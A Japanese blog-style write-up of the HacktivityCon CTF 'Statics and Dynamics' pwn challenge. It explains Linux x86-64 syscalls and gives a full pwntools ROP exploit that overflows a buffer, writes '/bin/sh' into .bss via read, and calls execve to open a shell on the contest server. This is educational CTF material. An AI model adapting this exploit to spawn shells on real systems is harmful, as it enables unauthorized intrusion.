HacktivityCon CTF Statics and Dynamics 〜システムコールでシェルを起動する〜
本番は解けなかったんですが、writeup 読んで「すげぇ!」になったのでメモ。
本番中の考察
BOFを発見したので、ROPでシェルを開く事を目指しました。
しかし、IDAで関数とか眺めても、system
やexecve
が含まれている感じがなかったので、直接flag.txt
を開くのかなーとか考えつつも、ファイルを開く方法が分からず苦戦。
結局解けず。
知見
アセンブリでシステムコールを呼び出す事によって、read
やexecve
を呼び出せます。
システムコールには命令ごとに番号がついていて、x86-64の場合例えばread
は0、execve
は59です。
詳細は Syscall Number for x86-64 linux (A) を参照して下さい。
通常、関数の引数はrdi
,rsi
,rdx
... の順に入れていくんですが、システムコールの際にはこれに加えてシステムコールの番号をrax
に入れます。
解法
今回の場合、システムコールでexecve("/bin/sh",NULL,NULL)
を呼び出せば良い事になります。
ですが、肝心の"/bin/sh"
は当然バイナリの中には含まれていないので、どこかにこれを書き込む必要があります。
そこで、read
をシステムコールで呼び出して、適当な場所に"/bin/sh"
を書き込む事を考えます。
その適当な場所ですが、今回はbssセクションを使います。何かデータを書き込みたい時は、適当にbssを使えば何とかなるってマックで女子高校生が言ってました。
ということで、BOFからのROPでread(0,bssのアドレス,書き込む長さ)
を呼び出してbssに"/bin/sh"
を書き込んだ後に
execve(bssのアドレス,NULL,NULL)
を呼び出します。
攻撃準備
攻撃コードを作成する前に、必要なgadgetを揃えましょう。
今回必要なのは、read
で引数に値を入れるための
pop rdi; ret;
, pop rsi; ret;
, pop rdx; ret;
、
システムコールを呼び出すための
pop rax; ret;
, syscall; ret;
です。
rp -f sad -r 1|grep "pop rdi;"
とか調べれば出てきます。
攻撃コード
準備ができた所で、後は攻撃コードを作成するのみです。
ほとんどCTFtimeのwriteup の写経です。
from pwn import * elf=ELF("./sad") #p=process("./sad") p=remote("jh2i.com",50002) POP_RDI=0x004816a2 POP_RSI=0x0047c198 POP_RDX=0x0040177f POP_RAX=0x0043f8d7 SYSCALL=0x0040eda4 BSS=elf.bss() WRITE=b"/bin/sh\x00" payload=b"A"*264 # read(0,BSS,len(WRITE)) payload+=p64(POP_RDI) payload+=p64(0) payload+=p64(POP_RSI) payload+=p64(BSS) payload+=p64(POP_RDX) payload+=p64(len(WRITE)) payload+=p64(POP_RAX) payload+=p64(0) payload+=p64(SYSCALL) # execve(BSS,NULL,NULL) payload+=p64(POP_RDI) payload+=p64(BSS) payload+=p64(POP_RSI) payload+=p64(0) payload+=p64(POP_RDX) payload+=p64(0) payload+=p64(POP_RAX) payload+=p64(59) payload+=p64(SYSCALL) p.sendline(payload) p.sendline(WRITE) p.interactive()
実行すると、ちゃんとシェルが開きます。
ポエム
このバイナリ、SSP有効だったんですがなんでBOF Attackができたんでしょうか...不思議です。
システムコールって便利ですね。BOF Attackが効く問題って割とこれでできる気がしてきました(ホントか?)
でもPIEとかついてたら、結局アドレスリークしないといけませんね。